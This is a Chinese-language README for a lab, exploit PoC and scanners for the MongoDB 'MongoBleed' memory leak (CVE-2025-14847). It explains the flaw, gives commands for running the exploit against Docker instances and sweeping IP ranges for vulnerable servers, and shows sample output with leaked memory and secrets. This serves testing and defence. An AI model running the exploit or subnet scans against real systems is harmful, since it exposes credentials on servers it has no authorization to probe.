漏洞利用、实验室、扫描器 - 外部和Docker容器,用于SMongobleed-CVE-2025-14847以及phoenix安全上传器
CVE-2025-14847 | CVSS 8.7 (高) | 未经身份验证的内存泄露
CVE-2025-14847,被称为 MongoBleed,允许未经身份验证的远程攻击者通过利用 MongoDB 的 zlib 解压缩逻辑来泄露未初始化的堆内存。这个高严重性缺陷暴露了敏感工件,包括明文凭证和会话令牌,为横向移动和完全接管服务器提供了路线图。
📖 完整文档 →
| 方面 | 详情 |
|---|---|
| 漏洞组件 | 使用 zlib 压缩的 MongoDB 服务器网络传输层 |
| 严重性 | 高(CVSS 8.7/7.5) |
| 影响 | 未经身份验证的远程未初始化堆内存泄露 |
| 为何重要 | 泄露的片段包含数据库密码、AWS 密钥以及内部服务器状态 |
| 利用状态 | 公开的概念验证(PoC)"mongobleed" 已验证并流传 |
| 当前应采取措施 | 立即升级到已修补版本或禁用 zlib 压缩 |
该漏洞存在于 MongoDB 的网络传输层(message_compressor_zlib.cpp)中,zlib 解压缩逻辑的一个关键缺陷允许未经身份验证的攻击者泄露敏感服务器内存。
// 易受攻击的代码(修复前)
counterHitDecompress(input.length(), output.length());
return {output.length()}; // ❌ 返回分配的缓冲区大小
// 已修补的代码(修复后)
counterHitDecompress(input.length(), output.length());
return length; // ✅ 返回实际解压后的数据长度
┌─────────────────────────────────────────────────────────────────────────────┐
│ MongoBleed 攻击向量 │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ 攻击者 易受攻击的 MongoDB │
│ │ │ │
│ │ 1. 发送 OP_COMPRESSED 消息 │ │
│ │ uncompressedSize: 8192(虚假值) │ │
│ │ 实际数据:约100字节 │ │
│ │────────────────────────────────────> │
│ │ │ │
│ │ 2. 分配8192字节缓冲区 │
│ │ 3. 解压缩约100字节 │
│ │ 4. 缺陷:返回 buffer.length() = 8192 │
│ │ 5. BSON 解析器读取未初始化内存 │
│ │ │ │
│ │ 6. 包含泄露内存(作为“字段名”)的错误响应 │ │
│ │<──────────────────────────────────── │
│ │ │ │
│ 🔓 泄露的数据: │ │
│ - API 密钥、密码、令牌 │ │
│ - MongoDB 内部状态 │ │
│ - WiredTiger 存储配置 │ │
│ - 系统 /proc 信息 │ │
│ - 客户端连接数据 │ │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
| 日期 | 事件 |
|---|---|
| 2025年12月15日 | 发现漏洞;内部工单 SERVER-115508 |
| 2025年12月19日 | 发布修复,披露 CVE-2025-14847 |
| 2025年12月24日 | MongoDB Atlas 集群已修补 |
mongobleed-exploit-CVE-2025-14847/
├── exploit/ # 🔴 利用实验室
│ ├── docker-compose.yml # 易受攻击 + 已修补的 MongoDB 实例
│ ├── mongobleed.py # 内存泄露利用 PoC
│ ├── init/init-mongo.js # 敏感测试数据
│ ├── test-exploit.sh # 实验室测试脚本
│ └── README.md # 实验室文档
│
├── scanner/ # 🌐 网络扫描器
│ ├── mongobleed_scanner.py # IP/域名漏洞扫描器
│ ├── sample-targets.txt # 示例目标文件
│ └── README.md # 扫描器文档
│
├── code-scan/ # 📂 代码扫描器
│ ├── main.py # CLI 入口点
│ ├── scanners/ # Docker、Python、基础设施扫描器
│ ├── models/ # 发现、漏洞模型
│ ├── integrations/ # Phoenix Security 上传
│ └── README.md # 代码扫描器文档
│
└── original-exploit/ # 📚 原始 PoC 参考
cd exploit
# 启动实验室(易受攻击 + 已修补实例)
docker-compose up -d
sleep 10
# 测试易受攻击实例(应泄露内存)
python3 mongobleed.py --host localhost --port 27017
# 测试已修补实例(不应泄露内存)
python3 mongobleed.py --host localhost --port 27018
# 完整实验室测试
./test-exploit.sh
cd scanner
# 扫描单个主机
python3 mongobleed_scanner.py 192.168.1.100
# 扫描网络范围
python3 mongobleed_scanner.py 192.168.1.0/24
# 从文件扫描
python3 mongobleed_scanner.py @sample-targets.txt --json --output results.json
cd code-scan
# 扫描项目中的易受攻击 MongoDB 版本
python3 main.py scan /path/to/project
# 扫描并上传到 Phoenix
python3 main.py scan /path/to/project --upload-phoenix
# 运行测试
python3 main.py test
# === 利用实验室 ===
# 启动实验室
cd exploit && docker-compose up -d && sleep 10
# 运行利用(易受攻击实例)
python3 exploit/mongobleed.py --host localhost --port 27017
# 运行利用(已修补实例 - 确认无泄露)
python3 exploit/mongobleed.py --host localhost --port 27018
# === 网络扫描器 ===
# 扫描本地实验室
python3 scanner/mongobleed_scanner.py localhost:27017 localhost:27018
# 扫描网络
python3 scanner/mongobleed_scanner.py 192.168.1.0/24 --threads 20
# === 代码扫描器 ===
# 扫描当前目录
python3 code-scan/main.py scan .
# 扫描并输出 JSON
python3 code-scan/main.py scan /path/to/project --json --output results.json
# 扫描并上传到 Phoenix
python3 code-scan/main.py scan /path/to/project --upload-phoenix
[*] mongobleed - CVE-2025-14847 MongoDB 内存泄露
[*] 目标:localhost:27017
[*] 扫描偏移 20-8192...
[+] offset= 117 len= 39: ssions^\u0001�r��*YDr���
[+] offset=16582 len=1552: MemAvailable: 8554792 kB\nBuffers: ...
[+] offset=18731 len=3908: MONGOBLEED_PRIVATE_KEY_DATA_123...
[!] 目标易受 CVE-2025-14847 攻击
[*] 总计泄露:8748 字节
[*] 唯一片段:42
[!] 检测到潜在机密:
• RSA 私钥
• 实验室密钥
[*] 使用 10 个线程扫描 254 个目标...
[1/254] 192.168.1.10:27017 - 8.2.2 [易受攻击 - 已确认]
[2/254] 192.168.1.11:27017 - 8.2.3 [安全]
摘要:
----------------------------------------
扫描目标总数:254
可达主机: 12
MongoDB 实例: 8
易受攻击: 3
================================================================================
MONGOBLEED 代码扫描器报告 - CVE-2025-14847
================================================================================
🚨 检测到易受攻击的 MongoDB 版本
1. [email protected]
文件:/project/docker-compose.yml
类型:docker-compose
原因:版本 8.2.2 位于受影响范围 [8.2.0 - 8.2.2] 内
✅ 升级到:8.2.3
CVE:CVE-2025-14847
所有扫描器支持将发现项上传到 Phoenix Security 平台:
# 创建配置
python3 code-scan/main.py create-config
cp .phoenix.config.TEMPLATE .phoenix.config
# 使用你的凭据编辑
# [phoenix]
# client_id = your_client_id
# client_secret = your_client_secret
# api_base_url = https://api.securityphoenix.cloud
# 扫描并上传
python3 code-scan/main.py scan /path/to/project --upload-phoenix
⚠️ 重要提示:本工具包仅供授权的安全测试和研究使用。
仅用于授权的安全测试。请负责任地使用。
最后更新:2025年12月
| 版本 | 受影响范围 | 修复版本 | 状态 |
|---|
| 8.2.x | 8.2.0 - 8.2.2 | 8.2.3 | ✅ 已修补 |
| 8.0.x | 8.0.0 - 8.0.16 | 8.0.17 | ✅ 已修补 |
| 7.0.x | 7.0.0 - 7.0.27 | 7.0.28 | ✅ 已修补 |
| 6.0.x | 6.0.0 - 6.0.26 | 6.0.27 | ✅ 已修补 |
| 5.0.x | 5.0.0 - 5.0.31 | 5.0.32 | ✅ 已修补 |
| 4.4.x | 4.4.0 - 4.4.29 | 4.4.30 | ✅ 已修补 |
| 4.2.x | 所有版本 | 无 | ⚠️ 已停止支持 |
| 4.0.x | 所有版本 | 无 | ⚠️ 已停止支持 |
| 3.6.x | 所有版本 | 无 | ⚠️ 已停止支持 |
| 2025年12月26日 |
| 发布公开 PoC "mongobleed" |
| 2025年12月28日 | 观察到野外利用 |
| 文档 | 描述 |
|---|
| DOCUMENTATION.md | 完整项目文档 |
| TECHNICAL_ANALYSIS.md | 深入漏洞分析 |
| QUICK_COMMANDS.md | 可复制的命令 |
| exploit/README.md | 利用实验室文档 |
| scanner/README.md | 网络扫描器文档 |
| code-scan/README.md | 代码扫描器文档 |